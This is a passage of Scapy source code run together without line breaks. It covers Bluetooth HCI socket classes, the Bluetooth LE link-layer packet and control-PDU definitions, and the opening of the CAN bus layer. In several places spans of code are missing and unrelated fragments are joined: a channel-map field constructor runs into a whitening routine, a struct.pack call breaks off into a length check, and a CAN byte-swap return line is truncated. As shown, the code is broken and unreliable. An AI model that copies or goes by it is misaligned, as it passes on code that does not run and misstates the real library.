socket.fromfd( s, socket_domain, socket_type, socket_protocol) def readable(self, timeout=0): (ins, _, _) = select.select([self.ins], [], [], timeout) return len(ins) > 0 def flush(self): while self.readable(): self.recv() def close(self): if self.closed: return # Properly close socket so we can free the device from ctypes.util import find_library libc = ctypes.cdll.LoadLibrary(find_library("c")) close = libc.close close.restype = ctypes.c_int self.closed = True if hasattr(self, "outs"): if not hasattr(self, "ins") or self.ins != self.outs: if self.outs and (WINDOWS or self.outs.fileno() != -1): close(self.outs.fileno()) if hasattr(self, "ins"): if self.ins and (WINDOWS or self.ins.fileno() != -1): close(self.ins.fileno()) if hasattr(self, "hci_fd"): close(self.hci_fd) class BluetoothUserSocket(_BluetoothLibcSocket): desc = "read/write H4 over a Bluetooth user channel" def __init__(self, adapter_index=0): sa = sockaddr_hci() sa.sin_family = socket.AF_BLUETOOTH sa.hci_dev = adapter_index sa.hci_channel = HCI_CHANNEL_USER super().__init__( socket_domain=socket.AF_BLUETOOTH, socket_type=socket.SOCK_RAW, socket_protocol=socket.BTPROTO_HCI, sock_address=sa) def send_command(self, cmd): opcode = cmd[HCI_Command_Hdr].opcode self.send(cmd) while True: r = self.recv() if r.type == 0x04 and r.code == 0xe and r.opcode == opcode: if r.status != 0: raise BluetoothCommandError("Command %x failed with %x" % (opcode, r.status)) # noqa: E501 return r def recv(self, x=MTU): return HCI_Hdr(self.ins.recv(x)) class BluetoothMonitorSocket(_BluetoothLibcSocket): desc = "Read/write over a Bluetooth monitor channel" def __init__(self): sa = sockaddr_hci() sa.sin_family = socket.AF_BLUETOOTH sa.hci_dev = HCI_DEV_NONE sa.hci_channel = HCI_CHANNEL_MONITOR super().__init__( socket_domain=socket.AF_BLUETOOTH, socket_type=socket.SOCK_RAW, socket_protocol=socket.BTPROTO_HCI, sock_address=sa) def recv(self, x=MTU): return HCI_Mon_Hdr(self.ins.recv(x)) conf.BTsocket = BluetoothRFCommSocket # Bluetooth @conf.commands.register def srbt(bt_address, pkts, inter=0.1, *args, **kargs): """send and receive using a bluetooth socket""" if "port" in kargs: s = conf.BTsocket(bt_address=bt_address, port=kargs.pop("port")) else: s = conf.BTsocket(bt_address=bt_address) a, b = sndrcv(s, pkts, inter=inter, *args, **kargs) s.close() return a, b @conf.commands.register def srbt1(bt_address, pkts, *args, **kargs): """send and receive 1 packet using a bluetooth socket""" a, b = srbt(bt_address, pkts, *args, **kargs) if len(a) > 0: return a[0][1] ================================================ FILE: scapy/layers/bluetooth4LE.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) Airbus DS CyberSecurity # Authors: Jean-Michel Picod, Arnaud Lebrun, Jonathan Christofer Demay """Bluetooth 4LE layer""" import struct from scapy.compat import orb, chb from scapy.config import conf from scapy.data import ( DLT_BLUETOOTH_LE_LL, DLT_BLUETOOTH_LE_LL_WITH_PHDR, PPI_BTLE, ) from scapy.packet import Packet, bind_layers from scapy.fields import ( BitEnumField, BitField, ByteEnumField, ByteField, Field, FlagsField, LEIntField, LEShortEnumField, LEShortField, MACField, PacketListField, SignedByteField, X3BytesField, XByteField, XIntField, XLEIntField, XLELongField, XLEShortField, XShortField, ) from scapy.contrib.ethercat import LEBitEnumField, LEBitField from scapy.layers.bluetooth import EIR_Hdr, L2CAP_Hdr from scapy.layers.ppi import PPI_Element, PPI_Hdr from scapy.utils import mac2str, str2mac #################### # Transport Layers # #################### class BTLE_PPI(PPI_Element): """Cooked BTLE PPI header See ``ppi_btle_t`` in https://github.com/greatscottgadgets/libbtbb/blob/master/lib/src/pcap.c """ name = "BTLE PPI header" fields_desc = [ ByteField("btle_version", 0), # btle_channel is a frequency in MHz. Named for consistency with # other users. LEShortField("btle_channel", None), ByteField("btle_clkn_high", None), LEIntField("btle_clk_100ns", None), SignedByteField("rssi_max", None), SignedByteField("rssi_min", None), SignedByteField("rssi_avg", None), ByteField("rssi_count", None) ] class BTLE_RF(Packet): """Cooked BTLE link-layer pseudoheader. https://www.tcpdump.org/linktypes/LINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR.html """ name = "BTLE RF info header" _TYPES = { 0: "ADV_OR_DATA_UNKNOWN_DIR", 1: "AUX_ADV", 2: "DATA_M_TO_S", 3: "DATA_S_TO_M", 4: "CONN_ISO_M_TO_S", 5: "CONN_ISO_S_TO_M", 6: "BROADCAST_ISO", 7: "RFU", } _PHY = { 0: "1M", 1: "2M", 2: "Coded", 3: "RFU", } fields_desc = [ ByteField("rf_channel", 0), SignedByteField("signal", -128), SignedByteField("noise", -128), ByteField("access_address_offenses", 0), XLEIntField("reference_access_address", 0), LEBitField("dewhitened", 0, 1), LEBitField("sig_power_valid", 0, 1), LEBitField("noise_power_valid", 0, 1), LEBitField("decrypted", 0, 1), LEBitField("reference_access_address_valid", 0, 1), LEBitField("access_address_offenses_valid", 0, 1), LEBitField("channel_aliased", 0, 1), LEBitEnumField("type", 0, 3, _TYPES), LEBitField("crc_checked", 0, 1), LEBitField("crc_valid", 0, 1), LEBitField("mic_checked", 0, 1), LEBitField("mic_valid", 0, 1), LEBitEnumField("phy", 0, 2, _PHY), ] ########## # Fields # ########## class BDAddrField(MACField): def __init__(self, name, default, resolve=False): MACField.__init__(self, name, default) if resolve: conf.resolve.add(self) def i2m(self, pkt, x): if x is None: return b"\0\0\0\0\0\0" return mac2str(':'.join(x.split(':')[::-1])) def m2i(self, pkt, x): return str2mac(x[::-1]) class BTLEChanMapField(XByteField): def __init__(self, name, default): Field.__init__(self, name, default, "> 8) & 0xff) << 8) + (swapbits((init >> 16) & 0xff) << 16) # noqa: E501 lfsr_mask = 0x5a6000 for i in (orb(x) for x in pdu): for j in range(8): next_bit = (state ^ i) & 1 i >>= 1 state >>= 1 if next_bit: state |= 1 << 23 state ^= lfsr_mask return struct.pack(" 2: l_pay = len(pay) else: l_pay = 0 p = p[:1] + chb(l_pay & 0xff) + p[2:] if not isinstance(self.underlayer, BTLE): self.add_underlayer(BTLE) return p class BTLE_DATA(Packet): name = "BTLE data header" fields_desc = [ BitField("RFU", 0, 3), # Unused BitField("MD", 0, 1), BitField("SN", 0, 1), BitField("NESN", 0, 1), BitEnumField("LLID", 0, 2, {1: "continue", 2: "start", 3: "control"}), ByteField("len", None), ] def post_build(self, p, pay): if self.len is None: p = p[:-1] + chb(len(pay)) return p + pay class BTLE_ADV_IND(Packet): name = "BTLE ADV_IND" fields_desc = [ BDAddrField("AdvA", None), PacketListField("data", None, EIR_Hdr) ] class BTLE_ADV_DIRECT_IND(Packet): name = "BTLE ADV_DIRECT_IND" fields_desc = [ BDAddrField("AdvA", None), BDAddrField("InitA", None) ] class BTLE_ADV_NONCONN_IND(BTLE_ADV_IND): name = "BTLE ADV_NONCONN_IND" class BTLE_ADV_SCAN_IND(BTLE_ADV_IND): name = "BTLE ADV_SCAN_IND" class BTLE_SCAN_REQ(Packet): name = "BTLE scan request" fields_desc = [ BDAddrField("ScanA", None), BDAddrField("AdvA", None) ] def answers(self, other): return BTLE_SCAN_RSP in other and self.AdvA == other.AdvA class BTLE_SCAN_RSP(Packet): name = "BTLE scan response" fields_desc = [ BDAddrField("AdvA", None), PacketListField("data", None, EIR_Hdr) ] def answers(self, other): return BTLE_SCAN_REQ in other and self.AdvA == other.AdvA class BTLE_CONNECT_REQ(Packet): name = "BTLE connect request" fields_desc = [ BDAddrField("InitA", None), BDAddrField("AdvA", None), # LLDATA XIntField("AA", 0x00), X3BytesField("crc_init", 0x0), XByteField("win_size", 0x0), XLEShortField("win_offset", 0x0), XLEShortField("interval", 0x0), XLEShortField("latency", 0x0), XLEShortField("timeout", 0x0), BTLEChanMapField("chM", 0), BitField("SCA", 0, 3), BitField("hop", 0, 5), ] BTLE_Versions = { 6: '4.0', 7: '4.1', 8: '4.2', 9: '5.0', 10: '5.1', 11: '5.2', } BTLE_Corp_IDs = { 0xf: 'Broadcom Corporation', 0x59: 'Nordic Semiconductor ASA' } BTLE_BTLE_CTRL_opcode = { 0x00: 'LL_CONNECTION_UPDATE_REQ', 0x01: 'LL_CHANNEL_MAP_REQ', 0x02: 'LL_TERMINATE_IND', 0x03: 'LL_ENC_REQ', 0x04: 'LL_ENC_RSP', 0x05: 'LL_START_ENC_REQ', 0x06: 'LL_START_ENC_RSP', 0x07: 'LL_UNKNOWN_RSP', 0x08: 'LL_FEATURE_REQ', 0x09: 'LL_FEATURE_RSP', 0x0A: 'LL_PAUSE_ENC_REQ', 0x0B: 'LL_PAUSE_ENC_RSP', 0x0C: 'LL_VERSION_IND', 0x0D: 'LL_REJECT_IND', 0x0E: 'LL_SLAVE_FEATURE_REQ', 0x0F: 'LL_CONNECTION_PARAM_REQ', 0x10: 'LL_CONNECTION_PARAM_RSP', 0x14: 'LL_LENGTH_REQ', 0x15: 'LL_LENGTH_RSP', 0x16: 'LL_PHY_REQ', 0x17: 'LL_PHY_RSP', 0x18: 'LL_PHY_UPDATE_IND', 0x19: 'LL_MIN_USED_CHANNELS', 0x1A: 'LL_CTE_REQ', 0x1B: 'LL_CTE_RSP', 0x1C: 'LL_PERIODIC_SYNC_IND', 0x1D: 'LL_CLOCK_ACCURACY_REQ', 0x1E: 'LL_CLOCK_ACCURACY_RSP', 0x1F: 'LL_CIS_REQ', 0x20: 'LL_CIS_RSP', 0x21: 'LL_CIS_IND', 0x22: 'LL_CIS_TERMINATE_IND', 0x23: 'LL_POWER_CONTROL_REQ', 0x24: 'LL_POWER_CONTROL_RSP', 0x25: 'LL_POWER_CHANGE_IND', 0x26: 'LL_SUBRATE_REQ', 0x27: 'LL_SUBRATE_IND', 0x28: 'LL_CHANNEL_REPORTING_IND', 0x29: 'LL_CHANNEL_STATUS_IND', } class BTLE_EMPTY_PDU(Packet): name = "Empty data PDU" class BTLE_CTRL(Packet): name = "BTLE_CTRL" fields_desc = [ ByteEnumField("opcode", 0, BTLE_BTLE_CTRL_opcode) ] class LL_CONNECTION_UPDATE_IND(Packet): name = 'LL_CONNECTION_UPDATE_IND' fields_desc = [ XByteField("win_size", 0), XLEShortField("win_offset", 0), XLEShortField("interval", 6), XLEShortField("latency", 0), XLEShortField("timeout", 50), XLEShortField("instant", 6), ] class LL_CHANNEL_MAP_IND(Packet): name = 'LL_CHANNEL_MAP_IND' fields_desc = [ BTLEChanMapField("chM", 0xFFFFFFFFFE), XLEShortField("instant", 0), ] class LL_TERMINATE_IND(Packet): name = 'LL_TERMINATE_IND' fields_desc = [ XByteField("code", 0x0), ] class LL_ENC_REQ(Packet): name = 'LL_ENC_REQ' fields_desc = [ XLELongField("rand", 0), XLEShortField("ediv", 0), XLELongField("skdm", 0), XLEIntField("ivm", 0), ] class LL_ENC_RSP(Packet): name = 'LL_ENC_RSP' fields_desc = [ XLELongField("skds", 0), XLEIntField("ivs", 0), ] class LL_START_ENC_REQ(Packet): name = 'LL_START_ENC_REQ' fields_desc = [] class LL_START_ENC_RSP(Packet): name = 'LL_START_ENC_RSP' class LL_UNKNOWN_RSP(Packet): name = 'LL_UNKNOWN_RSP' fields_desc = [ XByteField("code", 0x0), ] class LL_FEATURE_REQ(Packet): name = "LL_FEATURE_REQ" fields_desc = [ BTLEFeatureField("feature_set", 0) ] class LL_FEATURE_RSP(Packet): name = "LL_FEATURE_RSP" fields_desc = [ BTLEFeatureField("feature_set", 0) ] class LL_PAUSE_ENC_REQ(Packet): name = "LL_PAUSE_ENC_REQ" class LL_PAUSE_ENC_RSP(Packet): name = "LL_PAUSE_ENC_RSP" class LL_VERSION_IND(Packet): name = "LL_VERSION_IND" fields_desc = [ ByteEnumField("version", 8, BTLE_Versions), LEShortEnumField("company", 0, BTLE_Corp_IDs), XLEShortField("subversion", 0) ] class LL_REJECT_IND(Packet): name = "LL_REJECT_IND" fields_desc = [ XByteField("code", 0x0), ] class LL_SLAVE_FEATURE_REQ(Packet): name = "LL_SLAVE_FEATURE_REQ" fields_desc = [ BTLEFeatureField("feature_set", 0) ] class LL_CONNECTION_PARAM_REQ(Packet): name = "LL_CONNECTION_PARAM_REQ" fields_desc = [ XShortField("interval_min", 0x6), XShortField("interval_max", 0x6), XShortField("latency", 0x0), XShortField("timeout", 0x0), XByteField("preferred_periodicity", 0x0), XShortField("reference_conn_evt_count", 0x0), XShortField("offset0", 0x0), XShortField("offset1", 0x0), XShortField("offset2", 0x0), XShortField("offset3", 0x0), XShortField("offset4", 0x0), XShortField("offset5", 0x0), ] class LL_CONNECTION_PARAM_RSP(Packet): name = "LL_CONNECTION_PARAM_RSP" fields_desc = [ XShortField("interval_min", 0x6), XShortField("interval_max", 0x6), XShortField("latency", 0x0), XShortField("timeout", 0x0), XByteField("preferred_periodicity", 0x0), XShortField("reference_conn_evt_count", 0x0), XShortField("offset0", 0x0), XShortField("offset1", 0x0), XShortField("offset2", 0x0), XShortField("offset3", 0x0), XShortField("offset4", 0x0), XShortField("offset5", 0x0), ] class LL_REJECT_EXT_IND(Packet): name = "LL_REJECT_EXT_IND" fields_desc = [ XByteField("reject_opcode", 0x0), XByteField("error_code", 0x0), ] class LL_PING_REQ(Packet): name = "LL_PING_REQ" class LL_PING_RSP(Packet): name = "LL_PING_RSP" class LL_LENGTH_REQ(Packet): name = ' LL_LENGTH_REQ' fields_desc = [ XLEShortField("max_rx_bytes", 251), XLEShortField("max_rx_time", 2120), XLEShortField("max_tx_bytes", 251), XLEShortField("max_tx_time", 2120), ] class LL_LENGTH_RSP(Packet): name = ' LL_LENGTH_RSP' fields_desc = [ XLEShortField("max_rx_bytes", 251), XLEShortField("max_rx_time", 2120), XLEShortField("max_tx_bytes", 251), XLEShortField("max_tx_time", 2120), ] class LL_PHY_REQ(Packet): name = "LL_PHY_REQ" fields_desc = [ BTLEPhysField('tx_phys', 0), BTLEPhysField('rx_phys', 0), ] class LL_PHY_RSP(Packet): name = "LL_PHY_RSP" fields_desc = [ BTLEPhysField('tx_phys', 0), BTLEPhysField('rx_phys', 0), ] class LL_PHY_UPDATE_IND(Packet): name = "LL_PHY_UPDATE_IND" fields_desc = [ BTLEPhysField('tx_phy', 0), BTLEPhysField('rx_phy', 0), XShortField("instant", 0x0), ] class LL_MIN_USED_CHANNELS_IND(Packet): name = "LL_MIN_USED_CHANNELS_IND" fields_desc = [ BTLEPhysField('phys', 0), ByteField("min_used_channels", 2), ] class LL_CTE_REQ(Packet): name = "LL_CTE_REQ" fields_desc = [ LEBitField('min_cte_len_req', 0, 5), LEBitField('rfu', 0, 1), LEBitField("cte_type_req", 0, 2) ] class LL_CTE_RSP(Packet): name = "LL_CTE_RSP" fields_desc = [] class LL_PERIODIC_SYNC_IND(Packet): name = "LL_PERIODIC_SYNC_IND" fields_desc = [ XLEShortField("id", 251), LEBitField("sync_info", 0, 18 * 8), XLEShortField("conn_event_count", 0), XLEShortField("last_pa_event_counter", 0), LEBitField('sid', 0, 4), LEBitField('a_type', 0, 1), LEBitField('sca', 0, 3), BTLEPhysField('phy', 0), BDAddrField("AdvA", None), XLEShortField("sync_conn_event_count", 0), ] class LL_CLOCK_ACCURACY_REQ(Packet): name = "LL_CLOCK_ACCURACY_REQ" fields_desc = [ XByteField("sca", 0), ] class LL_CLOCK_ACCURACY_RSP(Packet): name = "LL_CLOCK_ACCURACY_RSP" fields_desc = [ XByteField("sca", 0), ] class LL_CIS_REQ(Packet): name = 'LL_CIS_REQ' fields_desc = [ XByteField("cig_id", 0), XByteField("cis_id", 0), BTLEPhysField('phy_c_to_p', 0), BTLEPhysField('phy_p_to_c', 0), LEBitField('max_sdu_c_to_p', 0, 12), LEBitField('rfu1', 0, 3), LEBitField('framed', 0, 1), LEBitField('max_sdu_p_to_c', 0, 12), LEBitField('rfu2', 0, 4), LEBitField('sdu_interval_c_to_p', 0, 20), LEBitField('rfu3', 0, 4), LEBitField('sdu_interval_p_to_c', 0, 20), LEBitField('rfu4', 0, 4), XLEShortField("max_pdu_c_to_p", 0), XLEShortField("max_pdu_p_to_c", 0), XByteField("nse", 0), X3BytesField("subinterval", 0x0), LEBitField('bn_c_to_p', 0, 4), LEBitField('bn_p_to_c', 0, 4), ByteField("ft_c_to_p", 0), ByteField("ft_p_to_c", 0), XLEShortField("iso_interval", 0), X3BytesField("cis_offset_min", 0x0), X3BytesField("cis_offset_max", 0x0), XLEShortField("conn_event_count", 0), ] class LL_CIS_RSP(Packet): name = 'LL_CIS_RSP' fields_desc = [ X3BytesField("cis_offset_min", 0x0), X3BytesField("cis_offset_max", 0x0), XLEShortField("conn_event_count", 0), ] class LL_CIS_IND(Packet): name = 'LL_CIS_IND' fields_desc = [ XIntField("AA", 0x00), X3BytesField("cis_offset", 0x0), X3BytesField("cig_sync_delay", 0x0), X3BytesField("cis_sync_delay", 0x0), XLEShortField("conn_event_count", 0), ] class LL_CIS_TERMINATE_IND(Packet): name = 'LL_CIS_TERMINATE_IND' fields_desc = [ ByteField("cig_id", 0x0), ByteField("cis_id", 0x0), ByteField("error_code", 0x0), ] class LL_POWER_CONTROL_REQ(Packet): name = 'LL_POWER_CONTROL_REQ' fields_desc = [ ByteField("phy", 0x0), SignedByteField("delta", 0x0), SignedByteField("tx_power", 0x0), ] class LL_POWER_CONTROL_RSP(Packet): name = 'LL_POWER_CONTROL_RSP' fields_desc = [ LEBitField("min", 0, 1), LEBitField("max", 0, 1), LEBitField("rfu", 0, 6), SignedByteField("delta", 0), SignedByteField("tx_power", 0x0), ByteField("apr", 0x0), ] class LL_POWER_CHANGE_IND(Packet): name = 'LL_POWER_CHANGE_IND' fields_desc = [ ByteField("phy", 0x0), LEBitField("min", 0, 1), LEBitField("max", 0, 1), LEBitField("rfu", 0, 6), SignedByteField("delta", 0), ByteField("tx_power", 0x0), ] class LL_SUBRATE_REQ(Packet): name = 'LL_SUBRATE_REQ' fields_desc = [ LEShortField("subrate_factor_min", 0x0), LEShortField("subrate_factor_max", 0x0), LEShortField("max_latency", 0x0), LEShortField("continuation_number", 0x0), LEShortField("timeout", 0x0), ] class LL_SUBRATE_IND(Packet): name = 'LL_SUBRATE_IND' fields_desc = [ LEShortField("subrate_factor", 0x0), LEShortField("subrate_base_event", 0x0), LEShortField("latency", 0x0), LEShortField("continuation_number", 0x0), LEShortField("timeout", 0x0), ] class LL_CHANNEL_REPORTING_IND(Packet): name = 'LL_SUBRATE_IND' fields_desc = [ ByteField("enable", 0x0), ByteField("min_spacing", 0x0), ByteField("max_delay", 0x0), ] class LL_CHANNEL_STATUS_IND(Packet): name = 'LL_CHANNEL_STATUS_IND' fields_desc = [ LEBitField("channel_classification", 0, 10 * 8), ] # Advertisement (37-39) channel PDUs bind_layers(BTLE, BTLE_ADV, access_addr=0x8E89BED6) bind_layers(BTLE, BTLE_DATA) bind_layers(BTLE_ADV, BTLE_ADV_IND, PDU_type=0) bind_layers(BTLE_ADV, BTLE_ADV_DIRECT_IND, PDU_type=1) bind_layers(BTLE_ADV, BTLE_ADV_NONCONN_IND, PDU_type=2) bind_layers(BTLE_ADV, BTLE_SCAN_REQ, PDU_type=3) bind_layers(BTLE_ADV, BTLE_SCAN_RSP, PDU_type=4) bind_layers(BTLE_ADV, BTLE_CONNECT_REQ, PDU_type=5) bind_layers(BTLE_ADV, BTLE_ADV_SCAN_IND, PDU_type=6) # Data channel (0-36) PDUs # LLID=1 -> Continue bind_layers(BTLE_DATA, L2CAP_Hdr, LLID=2) bind_layers(BTLE_DATA, BTLE_CTRL, LLID=3) bind_layers(BTLE_DATA, BTLE_EMPTY_PDU, {'len': 0, 'LLID': 1}) bind_layers(BTLE_CTRL, LL_CONNECTION_UPDATE_IND, opcode=0x00) bind_layers(BTLE_CTRL, LL_CHANNEL_MAP_IND, opcode=0x01) bind_layers(BTLE_CTRL, LL_TERMINATE_IND, opcode=0x02) bind_layers(BTLE_CTRL, LL_ENC_REQ, opcode=0x03) bind_layers(BTLE_CTRL, LL_ENC_RSP, opcode=0x04) bind_layers(BTLE_CTRL, LL_START_ENC_REQ, opcode=0x05) bind_layers(BTLE_CTRL, LL_START_ENC_RSP, opcode=0x06) bind_layers(BTLE_CTRL, LL_UNKNOWN_RSP, opcode=0x07) bind_layers(BTLE_CTRL, LL_FEATURE_REQ, opcode=0x08) bind_layers(BTLE_CTRL, LL_FEATURE_RSP, opcode=0x09) bind_layers(BTLE_CTRL, LL_PAUSE_ENC_REQ, opcode=0x0A) bind_layers(BTLE_CTRL, LL_PAUSE_ENC_RSP, opcode=0x0B) bind_layers(BTLE_CTRL, LL_VERSION_IND, opcode=0x0C) bind_layers(BTLE_CTRL, LL_REJECT_IND, opcode=0x0D) bind_layers(BTLE_CTRL, LL_SLAVE_FEATURE_REQ, opcode=0x0E) bind_layers(BTLE_CTRL, LL_CONNECTION_PARAM_REQ, opcode=0x0F) bind_layers(BTLE_CTRL, LL_CONNECTION_PARAM_RSP, opcode=0x10) bind_layers(BTLE_CTRL, LL_REJECT_EXT_IND, opcode=0x11) bind_layers(BTLE_CTRL, LL_PING_REQ, opcode=0x12) bind_layers(BTLE_CTRL, LL_PING_RSP, opcode=0x13) bind_layers(BTLE_CTRL, LL_LENGTH_REQ, opcode=0x14) bind_layers(BTLE_CTRL, LL_LENGTH_RSP, opcode=0x15) bind_layers(BTLE_CTRL, LL_PHY_REQ, opcode=0x16) bind_layers(BTLE_CTRL, LL_PHY_RSP, opcode=0x17) bind_layers(BTLE_CTRL, LL_PHY_UPDATE_IND, opcode=0x18) bind_layers(BTLE_CTRL, LL_MIN_USED_CHANNELS_IND, opcode=0x19) bind_layers(BTLE_CTRL, LL_CTE_REQ, opcode=0x1A) bind_layers(BTLE_CTRL, LL_CTE_RSP, opcode=0x1B) bind_layers(BTLE_CTRL, LL_PERIODIC_SYNC_IND, opcode=0x1C) bind_layers(BTLE_CTRL, LL_CLOCK_ACCURACY_REQ, opcode=0x1D) bind_layers(BTLE_CTRL, LL_CLOCK_ACCURACY_RSP, opcode=0x1E) bind_layers(BTLE_CTRL, LL_CIS_REQ, opcode=0x1F) bind_layers(BTLE_CTRL, LL_CIS_RSP, opcode=0x20) bind_layers(BTLE_CTRL, LL_CIS_IND, opcode=0x21) bind_layers(BTLE_CTRL, LL_CIS_TERMINATE_IND, opcode=0x22) bind_layers(BTLE_CTRL, LL_POWER_CONTROL_REQ, opcode=0x23) bind_layers(BTLE_CTRL, LL_POWER_CONTROL_RSP, opcode=0x24) bind_layers(BTLE_CTRL, LL_POWER_CHANGE_IND, opcode=0x25) bind_layers(BTLE_CTRL, LL_SUBRATE_REQ, opcode=0x26) bind_layers(BTLE_CTRL, LL_SUBRATE_IND, opcode=0x27) bind_layers(BTLE_CTRL, LL_CHANNEL_REPORTING_IND, opcode=0x28) bind_layers(BTLE_CTRL, LL_CHANNEL_STATUS_IND, opcode=0x29) conf.l2types.register(DLT_BLUETOOTH_LE_LL, BTLE) conf.l2types.register(DLT_BLUETOOTH_LE_LL_WITH_PHDR, BTLE_RF) bind_layers(BTLE_RF, BTLE) bind_layers(PPI_Hdr, BTLE_PPI, pfh_type=PPI_BTLE) ================================================ FILE: scapy/layers/can.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """A minimal implementation of the CANopen protocol, based on Wireshark dissectors. See https://wiki.wireshark.org/CANopen """ import os import gzip import struct from scapy.config import conf from scapy.compat import chb, hex_bytes from scapy.data import DLT_CAN_SOCKETCAN from scapy.fields import FieldLenField, FlagsField, StrLenField, \ ThreeBytesField, XBitField, ScalingField, ConditionalField, LenField, ShortField from scapy.volatile import RandFloat, RandBinFloat from scapy.packet import Packet, bind_layers from scapy.layers.l2 import CookedLinux from scapy.error import Scapy_Exception from scapy.plist import PacketList from scapy.supersocket import SuperSocket from scapy.utils import _ByteStream # Typing imports from typing import ( Tuple, Optional, Type, List, Union, Callable, IO, Any, cast, ) __all__ = ["CAN", "SignalPacket", "SignalField", "LESignedSignalField", "LEUnsignedSignalField", "LEFloatSignalField", "BEFloatSignalField", "BESignedSignalField", "BEUnsignedSignalField", "rdcandump", "CandumpReader", "SignalHeader", "CAN_MTU", "CAN_MAX_IDENTIFIER", "CAN_MAX_DLEN", "CAN_INV_FILTER", "CANFD", "CAN_FD_MTU", "CAN_FD_MAX_DLEN"] # CONSTANTS CAN_MAX_IDENTIFIER = (1 << 29) - 1 # Maximum 29-bit identifier CAN_MTU = 16 CAN_MAX_DLEN = 8 CAN_INV_FILTER = 0x20000000 CAN_FD_MTU = 72 CAN_FD_MAX_DLEN = 64 # Mimics the Wireshark CAN dissector parameter # 'Byte-swap the CAN ID/flags field'. # Set to True when working with PF_CAN sockets conf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True} class CAN(Packet): """A implementation of CAN messages. Dissection of CAN messages from Wireshark captures and Linux PF_CAN sockets are supported from protocol specification. See https://wiki.wireshark.org/CANopen for further information on the Wireshark dissector. Linux PF_CAN and Wireshark use different endianness for the first 32 bit of a CAN message. This dissector can be configured for both use cases. Configuration ``swap-bytes``: Wireshark dissection: >>> conf.contribs['CAN']['swap-bytes'] = False PF_CAN Socket dissection: >>> conf.contribs['CAN']['swap-bytes'] = True Configuration ``remove-padding``: Linux PF_CAN Sockets always return 16 bytes per CAN frame receive. This implicates that CAN frames get padded from the Linux PF_CAN socket with zeros up to 8 bytes of data. The real length from the CAN frame on the wire is given by the length field. To obtain only the CAN frame from the wire, this additional padding has to be removed. Nevertheless, for corner cases, it might be useful to also get the padding. This can be configured through the **remove-padding** configuration. Truncate CAN frame based on length field: >>> conf.contribs['CAN']['remove-padding'] = True Show entire CAN frame received from socket: >>> conf.contribs['CAN']['remove-padding'] = False """ fields_desc = [ FlagsField('flags', 0, 3, ['error', 'remote_transmission_request', 'extended']), XBitField('identifier', 0, 29), FieldLenField('length', None, length_of='data', fmt='B'), ThreeBytesField('reserved', 0), StrLenField('data', b'', length_from=lambda pkt: int(pkt.length)), ] @classmethod def dispatch_hook(cls, _pkt=None, # type: Optional[bytes] *args, # type: Any **kargs # type: Any ): # type: (...) -> Type[Packet] if _pkt: fdf_set = len(_pkt) > 5 and _pkt[5] & 0x04 and \ not _pkt[5] & 0xf8 if fdf_set: return CANFD elif len(_pkt) > 4 and _pkt[4] > 8: return CANFD return CAN @staticmethod def inv_endianness(pkt): # type: (bytes) -> bytes """Invert the order of the first four bytes of a CAN packet This method is meant to be used specifically to convert a CAN packet between the pcap format and the SocketCAN format :param pkt: bytes str of the CAN packet :return: bytes str with the first four bytes swapped """ len_partial = len(pkt) - 4 # len of the packet, CAN ID excluded return struct.pack('I{}s'.format(len_partial), pkt)) def pre_dissect(self, s): # type: (bytes) -> bytes """Implements the swap-bytes functionality when dissecting """ if conf.contribs['CAN']['swap-bytes']: data = CAN.inv_endianness(s) # type: bytes return data return s def post_dissect(self, s): # type: (bytes) -> bytes self.raw_packet_cache = None # Reset packet to allow post_build return s def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes """Implements the swap-bytes functionality for Packet build. This is based on a copy of the Packet.self_build default method. The goal is to affect only the CAN layer data and keep under layers (e.g CookedLinux) unchanged """ if conf.contribs['CAN']['swap-bytes']: data = CAN.inv_endianness(pkt) # type: bytes return data + pay return pkt + pay def extract_padding(self, p): # type: (bytes) -> Tuple[bytes, Optional[bytes]] if conf.contribs['CAN']['remove-padding']: return b'', None else: return b'', p conf.l2types.register(DLT_CAN_SOCKETCAN, CAN) bind_layers(CookedLinux, CAN, proto=12) class CANFD(CAN): """ This class is used for distinction of CAN FD packets. """ fields_desc = [ FlagsField('flags', 0, 3, ['error', 'remote_transmission_request', 'extended']), XBitField('identifier', 0, 29), FieldLenField('length', None, length_of='data', fmt='B'), FlagsField('fd_flags', 4, 8, ['bit_rate_switch', 'error_state_indicator', 'fd_frame']), ShortField('reserved', 0), StrLenField('data', b'', length_from=lambda pkt: int(pkt.length)), ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes data = super(CANFD, self).post_build(pkt, pay) length = data[4] if 8 < length <= 24: wire_length = length + (-length) % 4 elif 24 < length <= 64: wire_length = length + (-length) % 8 elif length > 64: raise NotImplementedError else: wire_length = length pad = b"\x00" * (wire_length - length) return data[0:4] + chb(wire_length) + data[5:] + pad bind_layers(CookedLinux, CANFD, proto=13) class SignalField(ScalingField): """SignalField is a base class for signal data, usually transmitted from CAN messages in automotive applications. Most vehicle manufacturers describe their vehicle internal signals by so called data base CAN (DBC) files. All necessary functions to easily create Scapy dissectors similar to signal descriptions from DBC files are provided by this base class. SignalField instances should only be used together with SignalPacket classes since SignalPackets enforce length checks for CAN messages. """ __slots__ = ["start", "size"] def __init__(self, name, default, start, size, scaling=1, unit="", offset=0, ndigits=3, fmt="B"): # type: (str, Union[int, float], int, int, Union[int, float], str, Union[int, float], int, str) -> None # noqa: E501 ScalingField.__init__(self, name, default, scaling, unit, offset, ndigits, fmt) self.start = start self.size = abs(size) if fmt[-1] == "f" and self.size != 32: raise Scapy_Exception("SignalField size has to be 32 for floats") _lookup_table = [7, 6, 5, 4, 3, 2, 1, 0, 15, 14, 13, 12, 11, 10, 9, 8, 23, 22, 21, 20, 19, 18, 17, 16, 31, 30, 29, 28, 27, 26, 25, 24, 39, 38, 37, 36, 35, 34, 33, 32, 47, 46, 45, 44, 43, 42, 41, 40, 55, 54, 53, 52, 51, 50, 49, 48, 63, 62, 61, 60, 59, 58, 57, 56] @staticmethod def _msb_lookup(start): # type: (int) -> int try: return SignalField._lookup_table.index(start) except ValueError: raise Scapy_Exception("Only 64 bits for all SignalFields " "are supported") @staticmethod def _lsb_lookup(start, size): # type: (int, int) -> int try: return SignalField._lookup_table[SignalField._msb_lookup(start) + size - 1] except IndexError: raise Scapy_Exception("Only 64 bits for all SignalFields " "are supported") @staticmethod 